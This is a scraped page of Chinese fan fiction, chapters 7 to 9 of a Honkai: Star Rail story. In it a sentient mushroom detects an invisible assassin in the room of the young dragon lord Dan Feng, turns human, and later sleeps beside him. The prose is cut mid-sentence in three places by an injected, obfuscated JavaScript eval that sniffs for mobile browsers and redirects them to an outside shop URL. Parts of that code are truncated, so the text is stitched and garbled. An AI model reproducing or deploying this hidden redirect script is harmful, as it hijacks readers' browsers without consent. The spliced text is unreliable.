《蘑菇的罗浮养成手札[崩铁]》 7. 第 7 章 岁月不居,时节如流。 每天固定在房屋与庭院里穿梭,除了吃睡,大部分时间都用来发呆,或者和丹枫呆在一起的蘑菇并没有真切地察觉到时光飞逝。 后来丹枫越来越忙,最忙的时候,蒲霖甚至一整天都没有看见他,但它并没有挨饿。 似乎早有预料,小伙伴提前一天帮它准备好了第二天的食物。 等它反应过来的时候,就发现小伙伴抽条了。 是在某天,它发现自己要更努力地抬头,才能看见他的全部面容时察觉到的。 而它自己的能力也在日新月异的变化,但始终都没有达到上限。 就像缺少了什么关键似的,硬是卡在了半途,不上不下的。 若是追求能力者必然抓耳挠腮,辗转反侧,但蒲霖不同。 它喜欢这里轻缓的生活节奏,也习惯自己如滴水穿石般缓慢的进化,并不在意寻找到那所谓的关键。 再等等,直觉告诉它,过不了多久,答案就会自己蹦到面前的。 未来屡次帮助蒲霖躲避危机的超强直觉,在此刻初见端倪。 * 蘑菇像往常一样墩在花盆里发呆。 突然,它听到了一点奇怪的动静。 蘑菇:o.O? 什么声音? 窸窸窣窣的,像是什么东西摩擦过空气,非常非常细微,远远不到正常人能接收到的阙值。 但是逃不过它的菌丝。 常人无法看见的隐秘角落,无数根丝线早已遍布这片土地。 那些柔软无害的小家伙深入地底,攀上房梁,探入院落......熟悉这里的每一棵植物,每一寸建筑,以及所有生命体。 换句话说,这里就相当于蒲霖的领域,菌丝是它的耳目,一丝一毫的动静它都能察觉到。 受到主人的驱使,菌丝宛若一只骤然苏醒的猎食者,在空气中伸展腰肢,翕动鼻翼,捕捉着各种气味与画面的粒子。 不知来者是敌是友,蘑菇聪明地伪装成一株不会动的普通植物。 它接收着菌丝传来的信号,呆在花盆里没有吱声。 但菌丝却告诉它,什么也没有。 一片衣角,一个残影,一个脚印......统统都没有。 非常干净。 蒲霖并没有因此放松警惕。 床上的锦被才刚刚更换没多久,地板上的香炉还在冒着袅袅白烟,书架上除了堆满的文件还有未开封的墨条。桌面上的宣纸砚台也摆放的整整齐齐,精致的屏风隔开房间过于开阔的空间。 在房屋里堪称华丽无比的摆设衬托下,栽在花盆里小小一只的朴素蘑菇就更加不起眼。 凭借特殊的视野,它发现了地面植株的异样。 那些叶片表层长着一些几乎透明的纤毛,任何细微的风都会惊动它们,好比现在。 蒲霖看见那些纤毛在极其轻微地晃动,但高一层的植物却处于静止。 屋内四通八达,空气流动性很好,不可能有外界的风涌入,高处无遮挡的植物反而吹不到的情况。 就像......有什么看不见的东西在屋子里造成的动静。 蒲霖警惕心飙升,多年的圈养并没有让它失去应有的危险应对措施。 它悄然环顾四周,模仿着正常蘑菇的习性,悄无声息地往空气里喷了一点点肉眼难以捕捉的孢子。 就算发现了也不会起疑,这是蘑菇这个品种天生就有的能力。 直径十几微米的孢子细如粉尘,除非有直射单一的强烈光线,没有人能捕捉到孢子的行踪。 没有外界的风,孢子大部分都往低处飘落,但有那么一点点附着到了流动的“水”上面。 看见你了。 蘑菇紧紧地盯着那片流动的水。 光线折射之下,它发现对方是一个身形瘦削的人类,但没有影子,也看不见。 没有影子、看不见、但有风。 【书上说啊,鬼是我们看不见的存在,现形的时候会与我们长得很像,怎么辨别呢?】年轻持明一本正经, 【最简单的就是看影子。没有影子的,那就是伪装成同类的鬼,它会在夜晚来到床头,把不乖乖睡觉的小孩啊呜一口吃掉!】 蘑菇:Σ(っ°Д°;)っ 蘑菇:大白天的怎么还有鬼啊! 下一秒 蒲霖又恢复了冷静:......不对,谁家鬼还会翻箱倒柜的。 而且这种全身包裹水流的方式相当眼熟,很像丹枫很久之前用过的那种。 不过一看就不是丹枫。 自从上次他用这种方法抓住蒲霖后,就再也没有在它面前使用过了。 蘑菇盯着这个特意伪装起来的人类,看着对方用水流扫过房间的每一处角落。 翻动叠好的书籍又复原回原来的样子,显然不想让屋主发现自己的东西被动过。 难道是人类口中的小偷? 这间屋子里有什么东西很值钱么? 蘑菇努力思考,它记得丹枫说过,他是持明族的龙尊,那应该就是最厉害的存在,居然敢有人冒着这么大的风险来搜他的领地? * 与此同时。 远在书房上课的丹枫隐隐觉得哪里不对。 余光扫过太阳已经偏下的迹象,时间快到傍晚了,按照正常时间,今日的课程应该早就结束了。 手边是字迹崭新的笔记,文书整齐地堆放在砚台旁,被规划好使用区域的书桌此时却莫名碍眼。 他不欲再看,抬头瞥了一眼仿若未觉的龙师,内心有股莫名的焦躁。 趁着对方低头的间隙,他假意转开视线,余光撇过对方手中的玉兆,上面有几不可见的光点闪过,似乎是在和什么人联系。 联系? 丹枫垂下眼,开始不断回忆今天的点点滴滴。 从他进门后就垂首不语的侍女,课堂上有意延长时间的龙师,平时从来没有亮起的玉兆,刻意营造的平和...... 他们在故意拖延时间? 有谁要来? 还是说...... 他们发现它了?! 丹枫悚然一惊。 但他的表情没有丝毫变化,仿佛什么都没有发生一样。 如果猜想没错,那么自己现在很有可能就被某些眼睛注视着。 他现在若是要求回去,那反而正中他们下怀。 “.......” 只能先按兵不动。 少年依旧像什么都没有察觉到一般继续在课本上写写画画,任何异常的举动都可能加深他们的怀疑,一但怀疑加剧,那就真的难以挽回了。 但是......那个笨蛋真能躲过龙师的检查吗? 少年沉默着写下最后一笔,这行字迹对比前几页的明显有些潦草,且深深地刻入了卷轴。 要是那只蘑菇被抓走...... 丹枫握笔的力道猛地加重,瞳孔轻微地收缩,他的潜意识在抗拒这种假设。 他不怀疑蘑菇的藏匿能力,毕竟当时它能在花盆里藏了那么久,最后还是自言自语暴露了它。 最麻烦的情况就是,万一他们使用了云吟术隐藏了身形,万一他们变成了他的样子,万一那只蘑菇没稳住身形...... 丹枫不确定那只笨蘑菇能不能百分百识破,毕竟当时他也是那样成功靠近它的。 早知道......早知道他就先把云吟术隐身的破解之法教给那只笨蘑菇了。 在笔杆发出不堪重负的吱呀声前,丹枫率先松开了指节。 不,问题不在它。 他问自己。 为什么他身为堂堂龙尊,却没有能力直接阻止那群龙师的小动作。 为什么那群人胆敢如此肆无忌惮,堂而皇之地蔑视他的权威。 为什么它到现在都只能躲着,而不是毫无负担地站在他的身边。 【持明龙尊是能化为龙形的持明个体,执掌龙祖之力。罗浮又称其为饮月君,掌苍龙之传,行云布雨,膺责守望建木。??】 【唔......持明龙尊是丹枫,饮月君也是丹枫,那就是说,丹枫是持明中最厉害、最聪明的人?那岂不是所有人都要听丹枫的话啦?】 “......” 他缓缓咬紧牙关,仍无法抑制脑中如杂草般疯狂滋生的思绪。 没有实权的龙尊,与吉祥物无异。 得到再明显不过的结论,丹枫眼底沉淀着汹涌的暗潮,照不进半点亮光。 “老师,今日的课业为何拖得如此之久?” 少年支着下巴,面上挂着一无所知的漠然。 龙师似乎没想到他会直接开口,微愣之下,立刻赔笑道,“您误会了,主要还是今天讲的内容有些深奥,而且听风冥说,最近总听见几个院子里有奇怪的响动,想着安全起见就一起进行检查。” 整个过程他都在观察少年的微表情,让他遗憾的是,龙尊还是他惯常的冷漠,瞳孔亦没有放大,呼吸也是一如既往的平稳。 “哦?” 丹枫嘴角勾起冰冷的弧度,笑意却不达眼底。“你的意思是,我身为持明族现任龙尊,龙祖的继任者,连附近的区区怪异之处都不能发现,还有劳烦各位亲自动手,是吗?” 一顶帽子不由分说扣了上来。 龙师微微一惊,连忙否认,“不,绝无此意,我等只是忧心龙尊大人安危,毕竟您一人的安全,可是关乎着我们全族的未来啊。” “既然如此,”丹枫并不买账,他接着龙师的话顺势道,“感念尔等关怀,即日起,外请罗浮丹鼎司医士前来,为尔等调配每日饮食,我的近卫亦是出类拔萃,便从中调派三百昼夜护卫龙师府,确保尔等安危。” “另外召开会议,共议持明族安全制度——尔等可当庭发言。若诸位皆附议,我必定接纳尔等一番心意。” 龙师面皮涨红,表情难看,他知道如果真按丹枫说的去做,那帮亲君派不把他的皮扒下一层就有鬼了,那时他才真的里子面子都没了。 “大人思虑周详,是我等僭越了,”龙师服软得很快,他深深地朝年轻的龙尊躬身,“然拳拳之心,天地可鉴...” 丹枫懒得听他说完,今天的课程早已结束,再待下去只是浪费时间。 他便不再多言,起身后,袖袍在空气中划过一道冷冽的弧线。至于那行礼之人,他连眼角余光都吝于给予,转身利落地离开了这里。 即便是出了门,饮月君也没有表现出半点急躁,而是不急不徐地踏上了回程。 * 几分钟前 怎么又走了? 蘑菇看着那抹身形突然像是收到了什么指示似的,飞快把自己动过的东西都整理好,立刻丝滑地退出了屋子,没有留下一丝痕迹。 加上它定位的孢子已经彻底消失,这便与无人来过一般。 他想调虎离山? 蒲霖煞有其事地运用最近新学的成语,觉得非常符合现在的情况。 蘑菇悄悄撇了撇嘴(虽然它没嘴),当它是笨蛋呢? 到时候再杀个回马枪,然后发现蘑菇会自己动,那蘑菇不就暴露啦?傻子才会这个时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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眉宇间的气势也愈发锋利,幼崽时期的圆钝稚气早已消失不见,即使他的面容尚且青涩,但也依稀可见几分未来的风采。 丹枫紧紧抿着偏淡的薄唇,俊朗的眉眼下压,屋内的温度也随主人的心情在急速降低。 他拢着蘑菇,带着森然的寒意,少年几乎咬牙切齿,“他们,那些人......居然敢趁我不备,因为那点虚无缥缈的怀疑,就胆敢擅自派人来搜查......” 丹枫连用了两个敢字,甚至有些语无伦次,这是他往日绝不会犯的语法错误。 随着怒不可遏的言辞脱口而出,他似乎也意识到了自己的失仪,于是微微阖眼,努力平复凌乱的呼吸。 青色的眼眸再度睁开后,所有挣脱束缚的情感被牢牢锁回了眼底,无处可寻。 他又变回了那个理智冷静的龙尊。 丹枫控制自己放松手上的力道,却又舍不得放开,就着这样的姿势低声道,“抱歉,我方才有些失态了......蒲霖,可否告诉我,今天都发生了什么?” 蘑菇把那个会动的水,还有他似乎在翻找什么东西的过程说了一遍。 “那是龙师圈养的刺客,“他说,“他们最擅长的就是用云吟术隐藏身形,一般会被派去执行一些见不得人的任务。” 早猜到那些刺客会拿他曾经用的方法来潜入,但丹枫还是难掩怒火,随后涌上的就是难以抑制的后怕。 他揉了揉软弹的菌盖,出声安抚它的情绪,“做的很好,你很聪明,这次我帮不上你什么,多亏你自己没有放松警惕,他们才能一无所获地离开。” 丹枫在夸它。 蘑菇静静地看着少年,尤其是那双青色的眼睛。 可它却不快乐。 那双眼睛里,更复杂酸涩的情绪吞没了它。 他在......难过? 还有好多它看不懂的情绪。 是它的缘故吗? 这样想着,蘑菇猝然出声。 “我在这里......会不会害你被加罚?” 它还记得孩童当年的无心之言,似乎眼前之人还是那个稚嫩的小龙尊,却没有考虑过自己被发现后的下场。 丹枫一怔。 思维骤然的停滞,让他没来得及阻止它说下去。 蒲霖卷起菌边,小声嘟囔,“要不我暂时不呆在这里,去外面的院子里吧,这样丹枫就不会被老师怀疑了......” 似乎听到了什么触及底线的关键词,丹枫打断了它的话。 “不必。” 他捧着蘑菇,微微收紧手指。 “他们加罚与否,都与你无关,无论过去还是现在。更何况错不在你,而是那群痴心妄想的家伙,为何要你离开?” 丹枫语气平静,更不容置疑,“或许是最近的日子太安分了,让他们产生了某种不必要的误解......但无论如何,我都不会再这样放任下去了,龙尊导师的职责,也该结束了。” 这是他第一次在蒲霖面前全盘否定龙师的权威,从今往后,他要在持明建立起属于自己的规则,今日的意外,他不想再经历第二次了。 蘑菇歪头看着他,突然想起了人类互动间的一个常见动作。 它忘记了自己没有手脚,忘记了自己只是一只蘑菇,但心底强烈的意识不断驱使着它迈出那一步。 然后它真的抱到了。 咦? 蘑菇后知后觉地呆住了。 在黑发少年骤变的神情中,蒲霖透过他青色透亮的瞳孔,看见了自己。 以一个人类的身份。 8. 第 8 章 持明洞天已是夕阳西下,昏黄的阳光透过窗棂照进了室内。 “砰!” 像是摔倒的声音,很快就引起了屋外侍女的注意。 “龙尊大人,您还好吗?可否需要我等进入?” 隔着一层木门,刻意压低的女声显得有些沉闷。 “不必。” 几息后,持明龙尊平静的音色从室内传来,似乎没有任何异样。 侍女没有纠缠,她们恭敬地行了一礼,随后便悄无声息地退回了原位。 室内 丹枫坐在地板上,脖颈略微后仰,掌心牢牢地支撑住地面,是猝不及防摔倒时条件反射的动作。 但他顾不上这些,饮月君青色的眼眸失态地睁大,他怔怔地看着眼前的少年,大脑彻底宕机了。 少年穿着白色的衣袍,披着一头略显凌乱的墨色长发。 鸦色的碎发下藏着一双金色的眼睛,像持明泉水一样澄澈透亮,非人的纯粹在这双眼睛里表现的尤为明显。 他的耳朵也是尖尖的,但圆钝的眼角与浓密的眼睫中和了少年身上那股怪异的气质,偏柔和的脸部线条也修饰了他立体锐利的五官,让其整体显得非常无害。 最关键的是...... 不知道是不是丹枫的错觉,他似乎在对方的面孔上看见了一丝自己的影子。 如果那双眼瞳变成青色,眼型锐利一些,再加上一对同色的龙角,那一分神似就会立刻变成七分。 但现在不是想这个的时候。 少年的双臂正松松垮垮地揽着他的脖子,两张面容离的极近,几乎可以感受到对方呼出的热气。 “你......” 他呢喃出声,却只是一个支离破碎的字词。 眼睁睁看着大变活人上演,丹枫根本不用质疑对方的来历。 他脑子里第一个念头: 好......好热。 紧接着第二个就跳了出来: 而且好重...... 该说原型不愧是胖蘑菇吗。 然后......然后就没有然后了。 蒲霖抱到了自己想安慰的人,虽然很奇怪自己为什么突然变了种族,但权衡之下,他还是收紧了手,原本就很近的距离无限缩小。 他用脸先蹭了蹭丹枫的脸颊,努力发挥蘑菇安慰人的能力。 “为什么难过?为什么要责怪自己?丹枫说了,错的不是我,自然也不是丹枫。而且丹枫又不是人类小说里算无遗漏的神明,而是有自己情感的持明族呀。” “那个坏蛋当时翻的好好的,最后却离开的很突然,肯定与丹枫有关。”少年一本正经地总结, “所以丹枫也帮了我,并不是全靠我自己。如果那个坏蛋真的敢欺负我,我也会让他知道,我不是好惹的蘑菇!” 不好惹的蘑菇在丹枫耳边嘀嘀咕咕,无数个日夜里听到的声音真切地出现在了他的耳畔。怀里另一具身体里源源不断的热量传来,仿佛要浸透持明族偏低的体温,无时无刻都在彰显着自己的存在感。 不知是耳边的言论太惊骇,还是温度太灼热,丹枫眼里竟出现了一丝恍然。 太、太近了。 自他转世轮回,诞生于世,礼仪也好敬仰也罢,从来没有人靠他这么近。 “嗯?” 咕唧完,蒲霖突然被一抹青色吸引了注意。 他扒拉着丹枫的肩膀,目光好奇地瞟了过去,这一瞟就挪不开眼了。 以他居高临下的视角,可以完整地看见那条与它主人一样抽条的龙尾巴。 尾巴不复幼时的胖嘟嘟,已经是可以称之为漂亮的程度。 它平时被丹枫刻意用术法收起,现在却突兀地出现在他的尾椎末端。 在蒲霖还是只蘑菇的时候曾经见过几回,但后来就再也没有见过了。 那条龙尾的尾尖灵活地在地板上拍了拍,似乎是随了主人的性格,整体乱动的弧度并不大。 深青色的鬃毛自尾巴上部延伸到尾尖,变成蓬松突出的一小撮。整齐光滑的青色鳞片覆盖在这条尾巴上。 它们排列紧密,从尾椎最粗的位置,由大到小一直密密麻麻地镶嵌到末端,乍看之下像极了博物馆里精雕细琢的工艺品。 尾巴扭到右边,蘑菇那颗黑色的脑袋也跟着转到右边;尾巴晃到左边,小脑袋就跟着扭到左边。 这么来回之后,白衣少年金色的眼睛里悄悄亮起了惊人的光芒。 蘑菇:(☆ω☆*) 似乎有什么奇怪的东西在悄然觉醒,本该一触即分的动作就这样有意无意地凝固了。 一个当事人思维停滞了,另一个当事人看着逗菇棒出神。 “咕咕咕——” 直到熟悉的声音从白衣少年的肚中传来,蘑菇才慢吞吞地回神,恋恋不舍地把眼神从逗菇棒——龙尾巴上撕开。 他收回手臂,直起上半身,但蘑菇哪里懂得礼仪分寸,他没有改变现在的坐姿,那双圆溜溜的眼睛就这样直勾勾地盯着他面前的持明少年。 因为今天的意外,侍女们并没有像往常一样进来布置晚饭。 而他早已习惯了人类饭菜的喂养,蘑菇可怜巴巴地盯着面前俊俏的脸庞,拉长了音调。 “丹枫,我饿了——” 持明少年猛地回神。 他甚至都没有察觉到自己的尾巴挣脱了束缚,下意识地就想起身去传唤,突然发现自己动弹不得。 丹枫的视线重新落到到两人之间,才意识到他们现在的姿势有多糟糕。 因为变人前,他是站立着与蘑菇讲话的,而蒲霖变人的情况又大大超出了他的预料,他根本来不及反应,就被直接压了下去。 好在摔倒的瞬间,他还记得用手撑地。 所以蘑菇精现在就跨坐在大腿上,与他面对面,整个身体的重量都压在上面。 得益于持明族常年承受深海压迫,身体素质过于强健,而龙尊更是佼佼者,即使少年再重,都不会因此伤到他。 “......” 蒲霖眼睁睁看着眼前冷白的脸颊,以迅雷不及之势漫上红晕,连尖尖的耳朵都没有幸免。 蘑菇:O.O! 蘑菇眨了眨眼。 好神奇,像魔法一样耶。 蒲霖好奇地想要上手戳戳。 戳空了。 持明族少年猛地撇过头去,避开了他细长的指尖,目光一顿乱瞟,看天看地,就是不看那只已经和他处的非常熟悉的蘑菇精。 持明族虽不能繁衍,但是基本的心理反应还会有的,不然就不会有持明族转世轮回,还死追着前世不同种族爱人不放的情况出现。 “我知道了,你......你先从我身上下来。” 他有些磕磕绊绊地开口,语气还是一如既往的冷淡,却急切了不少,莫名有种色厉内荏的感觉。 “是我现在的外型压到你了吗?” 蒲霖不解地眨了眨眼。 蘑菇不分公母,是属于单性生殖的菌类,根本不明白他为什么脸红。 见丹枫语气变得暗哑下来,蒲霖只以为自己让对方身体不舒服了。 “等下哦,我还不怎么会使用这幅身体,先变轻一点试——” 话还没说完,“砰”的一声。 蒲霖又变回了白色的蘑菇,小小的一只从空中落下,砸在丹枫的大腿上,只剩下一人一菇面面相觑。 丹枫:“......” 他缓了缓神,从地上站起,顺便把蘑菇送到了书桌上。 “......你还能改变自己的重量?” 蒲霖骄傲道,“那当然。虽然我最开始没反应过来,但后来想起来了,刚刚那个样子都是我自己捏的!我想要尖耳朵、黑长发,那就是尖耳朵黑长发,只要合乎常理,就不会有太大问题。” 以它现在的视角看对方,就像看巨人一样,它又想起了什么,追着他躲闪的眼神, “丹枫,你刚刚是身体不舒服吗?要不要用云吟术治疗一下?” 丹枫眼神飘忽了一瞬。 “不,我没事,只是不习惯与他人靠得太近,现在好些了。” 他尝试转移话题,“先用晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16743405|189760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 膳吧。” “好哦!” 蘑菇果然被转移了注意力。 他目送着它在花盆里躲好,才唤侍女进来布餐。 两人一齐动筷,但菌丝消化食物的速度比平时快了一倍不止。 菜肴以肉眼可见的速度消失,丹枫的脸颊温度也顺利下降,大脑恢复了往日的冷静。 等蘑菇狼吞虎咽完,瘫在桌子上休息的时候,他才整理好措辞,低声开口,“你方才怎么会变成人?” 有了那次警告,龙师在短时间内不会派人来监视他,除非他们想要主打打破现在的平衡。 勉强填饱肚子的蘑菇用菌丝挠了挠菌盖,似乎在拼命思索。 “唔......我只记得那时我想抱抱你,但是我没有人类的手,我就想着要是有手就好了。然后视角突然就变了,肚子也变得很饿很饿,但是我能抱到你啦!” 蘑菇丝毫没发现自己说了什么有歧义的话。 “......” 丹枫艰难地从一堆话里拨出关键。 “也就是说,你可以通过进食获取能量,食谱范围也很广。足够的能量可以让你变成另一种形态,或许还能让本体的能力进化,但对应的消耗也会非常大。” “假若未来你能摄取到足够的营养,也许就可以自由转变形态,甚至发挥出更加强大的能力。” 说着,丹枫垂眸看向小蘑菇,它的菌丝像有意志似的在菌盖上凝聚成一个小小的“!”号。 与初见它时的孱弱不同,这只蘑菇的语言系统变得更加流利,它的菌丝和孢子也有不同程度的加强,也许未来不会只是单纯的窃听与获得情报。 蒲霖没有刻意地展示,但通过闲暇时的交流也不难发现。 现在的它,甚至已经到转变形态的地步了。 “丹枫好聪明!”蘑菇激动地原地蹦跶了好几下,“如果我未来变得更厉害了,下次再遇到那个坏蛋,我一定要狠狠地打回去,让他随便进丹枫的家!” 想象着大仇得报,蒲霖周身的气息肉眼可见的愉悦起来,那欢快的样子就差冒小花花了。 再? 丹枫平静地想。 这种事情发生一次就够了。 “那个坏——” 结果话刚说出一半,他就猛地停住了。 他居然被这只蘑菇带偏了。 “.......” 龙尊大人轻咳一声,把没说完的话接上,“他使用的是持明族代代传承的术法——云吟术。除了可以在日常生活中进行清洁、水力发电外,学艺精者还可在战斗中隐匿身形,唤出水流进行攻击。” “龙师培养的刺客就是利用光线在水面上的折射,造成大范围的视觉盲区,达到所谓的隐身效果。” 饮月君轻描淡写,“至于那个家伙,他不会再出现了。” “破除隐身的方法也很简单,干扰光线。用火、雷相关的攻击,或者用更强的光束都可以......”随后他话音一转,“说起来,蒲霖是怎么发现异常的?” “直觉!” 蘑菇骄傲地挺起菌盖,它的口中再一次出现了这种听起来就很不靠谱的词。 “菌丝找不到异常,但我感觉不对,就往空气中喷了一点孢子,然后就发现他了。” 虽然蘑菇没有脸,但丹枫仿佛能看见那个少年在用一脸“怎么样我聪明吧”的表情看着他。 “为了防止暴露,我往他身上喷的孢子是会很快消失,不留痕迹,没有任何攻击性,隐蔽效果超强的那种。” 蘑菇用菌丝比划比划。 “它的直径比一般的孢子还要小,我也可以提前召回,在那个坏蛋离开之前,他身上的痕迹就没有啦。” 蘑菇挺了挺菌杆,要是它有手,一定会很嘚瑟地叉着自己的菌杆。 它骄傲道,“我可不是那种笨笨的蘑菇,怎么可能随便被别人拿捏。” 丹枫:“.......” 他想起之前,这只蘑菇只是因为一桌美食就自投罗网的事迹。 嗯,这个时候还是不要打击蘑菇的自信心了。 9. 第 9 章 骄傲的蘑菇一直骄傲到夜晚降临。 虽说好天气可以有益于居民的身心健康,但也不能总是一个天气。 夜晚时而万里无云,月光会撒遍大地,照亮所有建筑;时而也会雾蒙蒙的,连附近的树影都影影绰绰的看不清晰。 今夜就是后者。 “......” 倒霉的蘑菇就像一个人正午看完恐怖电影,白天正常吃吃喝喝,到了夜晚就开始出现严重的后遗症,现在的它可以说是草木皆兵。 那边的黑影是什么? 蘑菇给自己套了件菌丝衣,才把自己埋在土壤里,看着几米之遥张牙舞爪的黑影,抖抖抖。 哦原来是香炉。 等会为什么有沙沙声?! 蘑菇听着背后的怪异声音,干脆把菌盖也蛄蛹蛄蛹埋了进去,胖嘟嘟的菌杆朝上,抖抖抖。 哦是风吹过叶子的声音。 等等,为什么感觉有人在看我? ...... 蘑菇觉得自己再抖下去就要变成蘑蘑蘑蘑菇了。 即使有菌丝传达准确的信息,但也耐不住蘑菇那发散到天外的思维。 它接收了太多外界的信息,却没来得及竖起足够的应对防线。 蘑菇不解,明明它早就习惯呆在阴暗潮湿的地方,之前也没没没没觉得黑暗里有怪物啊...... 蒲霖忍了半天,实在忍不住了,它扭着身子从土里钻出来,悄悄往丹枫的方向探头,想看看对方睡着了没有。 蘑菇的视野里只有黑黢黢的一片,应该是睡着了。 蘑菇只好又缩了回来,默默把自己往土里埋,在它的不懈努力之下,泥土已经快把它全身给淹没了。 “睡不着?” 橙黄色的小夜灯亮起,驱散了蘑菇周身的阴冷,伴随着被子的摩挲声,少年清浅的声音自床铺上响起。 一双苍青色的眼睛在黑暗中静静地看着它,眼神清明,昭示着对方并未入睡的事实。 蘑菇仰着菌帽,呆呆地看他。 “......怎么不说话?” 闻言,蘑菇慢吞吞地从土里伸出来一点点。 两人隔的距离有点远,声音像是隔了层雾气一样朦朦的不清晰。 看着暖光中的少年,它的声音带着一点委屈,“...我总觉得有鬼在看我......” 丹枫面色不变,裹挟着杀机的水流却悄无声息地荡涤四方,屋外的每一寸土地都没有放过。 周遭没有可疑的人,只能说明问题更严重。 丹枫看着缩成一团的小蘑菇,眼底微暗,白天的那件事对它的影响还是太大了。 “丹枫,我......” 不等蘑菇把话说完,它突然感觉背后一凉。 “嗷!” 似乎是吓的不轻,蘑菇一激灵,发出一声完全变调的嚎叫,从土里猛地窜了出来。 和人一样,蘑菇在遇到危险的时候,也会下意识地往它觉得最安全的地方躲。 还好蘑菇已经“进化”了,在极短的时间内将能力压缩到了极致。它潜意识还记得不能弄脏地板,菌丝眨眼间伸出又收回,把菌杆和菌盖上带出的碎屑清理干净了。 干净的小蘑菇像一颗小炮弹,结结实实地砸进了一个柔软的地方。 丹枫被撞的闷哼一声。 别看实心蘑菇小小一只,在距离与重量加持下,它撞过来的力道真不容小觑。 加上他的胸口皮肤与蘑菇就只有一层薄薄的单衣隔着,外层的睡衣并不厚,他能清楚地感知到胸口在被蹭来蹭去。 “丹枫救命啊——有鬼要来吃蘑菇了啊啊啊啊——” 即使已经脱离了那片黑暗,蘑菇还是使劲往深处钻,似乎嫌弃周围不够安全,企图用叫声驱散恐惧。 龙尊大人睡觉习惯穿双层的睡衣,蘑菇此刻就窝在他外层的睡衣里。 鼓鼓囊囊的一小团,还在一个劲地往里钻。 少年没有制止它的动作,反而用掌心轻轻拢住它的身形,防止它滑落下去。 感知着掌心下的颤抖,丹枫出声安抚道,“别怕,我在这里,不会有人敢靠近。蒲霖可以转身看看,这里没有危险。” 他的声音在蘑菇头顶出现,随着话音落下,几盏夜灯瞬间亮起。 担心引起他人注意,丹枫没有打开所有的灯,他控制着水流将屋内黑暗驱散,从外面看却只是微弱的夜光。 蘑菇不钻了,它颤颤巍巍转头看去,在如梦似幻的光影间,它发现刚刚让它原地升天的东西,只是凉风吹过书卷造成的怪声。 蘑菇:== 蒲霖想起自己刚刚有些过激的反应,不好意思地蜷了蜷菌杆。 等等。 ......刚刚是,头顶的声音? 蘑菇迷茫地抬起菌盖,对上了一张俊美的脸庞。 被褥被掀开在一旁,持明少年坐在床边,穿着一身简洁的睡衣,神情是一如既往的冷淡。 青色的龙角从他散乱的额发里伸出,不算强壮的身影在此刻显得相当可靠。 “丹、丹枫......” 蘑菇捂在他的衣领里,看着背后仿佛在发金光的少年,两只眼睛都变成了Q版荷包蛋。 其实蘑菇没有眼睛,那俩□□的荷包蛋也是菌丝随蘑菇的意志凝聚出来的表现。 毕竟如果现实中一只蘑菇有嘴巴,还长着眼睛就有点掉san值了。 蘑菇:QAQ 蘑菇:“我,我今天能和你一起睡吗?” 似乎是生怕他立刻冷酷无情地拒绝,蘑菇赶忙表示:“我睡姿很好的!也不会占很多位置,我只要一点点空间就好了,什么角落都可以,你完全可以无视我的!” 龙尊的床很大,抛开奢侈的装饰不算,是能并排躺两个成年人甚至中间还有一道宽敞分界线的程度。 虽然龙尊与龙师一向不对付,但龙尊是不朽的传承者,那帮老古董还不至于心思狭隘到去克扣龙尊的日常用品。 “......” 丹枫停顿了片刻,他看着蘑菇快憋出泪花的“眼睛”,一时半会还真没有开口拒绝。 “求你了求你了求你了~” 蘑菇似乎察觉了他的迟疑,无师自通地学会了小动物撒娇,它拼命用自己软软的菌盖蹭着少年的手心,试图让对方心软松口。 丹枫:“......” 丹枫:“......下不为例。” “好耶!谢谢你呀,丹枫最好了!” 最后那个“例”字还没说完,蘑菇就欢呼雀跃,非常丝滑地从他的睡衣里润出来,一眨眼就溜上了床铺。 床铺很大,蘑菇小心翼翼地在最里侧的位置拱了拱,在床尾的被褥之间钻出一个小窝窝。 蘑菇只有拇指大小,素白的颜色在一群“奢侈品”里非常不显眼,一不留神就容易被忽视。 丹枫睡在床铺偏中间的位置,蘑菇不想自己占据人家太大空间,于是在靠墙的一侧拼命往里缩,都快分出一个银河系了。 它显然忘了自己就丁点大,就算往床铺中央一躺,距离稍微远点,丹枫都有可能看不见它。 “晚安噢,丹枫。” 蘑菇自觉找到了一个不会打扰对方,自己也有安全感的位置。 它舒舒服服地往小窝里一墩,整个床铺的布料都是非常柔软的材质,让蒲霖几乎都要淹没在软绵绵的海洋里。 丹枫慢他一拍,见蘑菇在几息间就睡进了小窝,便也在一旁整理好被子搭好自己的“窝”。 蘑菇在被褥的最边缘,被褥很大,展开刚好可以盖住呆在边角的它。 “晚安。” 几盏小夜灯同时熄灭,室内重新回归平静。 蘑菇安心地缩在少年的脚边,被褥的清香萦绕着它的身体,这次果然没有再被外界打扰,它很快就陷入了沉眠。 ...... 五分钟后。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16743406|189760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >蘑菇的睡姿怎么样暂且不提,但另一个人的姿势绝对很好。他平躺在一旁,双脚整整齐齐地并拢,甚至手也合并在腰腹处。 除了胸口的布料有些皱起,连衣角都是平整光滑的。 “呼——” 呼吸声逐渐趋于平缓,丹枫第一次如此清晰地感知到另一个生命的存在,似乎腿微微一动,就可以触碰到。 “......” 少年眼睛半阖着,今天发生的一幕幕在他脑海中掠过:白日龙师的试探,蒲霖疑似进化的能力,蘑菇化形的少年...... 